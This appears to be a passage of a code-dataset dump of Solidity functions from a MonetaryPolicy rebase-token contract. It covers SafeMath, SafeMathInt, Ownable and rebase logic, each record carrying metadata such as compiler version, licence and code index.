bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 2371, 2759 ] }
1,364
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; }
/** * @dev Multiplies two numbers, reverts on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 90, 486 ] }
1,365
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 598, 877 ] }
1,366
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; }
/** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 992, 1131 ] }
1,367
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; }
/** * @dev Adds two numbers, reverts on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1196, 1335 ] }
1,368
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; }
/** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1470, 1587 ] }
1,369
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } }
mul
function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; }
/** * @dev Multiplies two int256 variables and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 234, 574 ] }
1,370
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } }
div
function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; }
/** * @dev Division of two int256 variables and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 664, 960 ] }
1,371
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } }
sub
function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; }
/** * @dev Subtracts two int256 variables and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1048, 1261 ] }
1,372
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } }
add
function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; }
/** * @dev Adds two int256 variables and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1344, 1557 ] }
1,373
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } }
abs
function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; }
/** * @dev Converts to absolute value, and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1642, 1808 ] }
1,374
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
UInt256Lib
library UInt256Lib { uint256 private constant MAX_INT256 = ~(uint256(1) << 255); /** * @dev Safely converts a uint256 to an int256. */ function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int256(a); } }
/** * @title Various utilities useful for uint256. */
NatSpecMultiLine
toInt256Safe
function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int256(a); }
/** * @dev Safely converts a uint256 to an int256. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 162, 333 ] }
1,375
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
owner
function owner() public view returns(address) { return _owner; }
/** * @return the address of the owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 453, 528 ] }
1,376
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
isOwner
function isOwner() public view returns(bool) { return msg.sender == _owner; }
/** * @return true if `msg.sender` is the owner of the contract. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 755, 843 ] }
1,377
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); }
/** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1112, 1231 ] }
1,378
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1395, 1501 ] }
1,379
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
_transferOwnership
function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1638, 1814 ] }
1,380
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 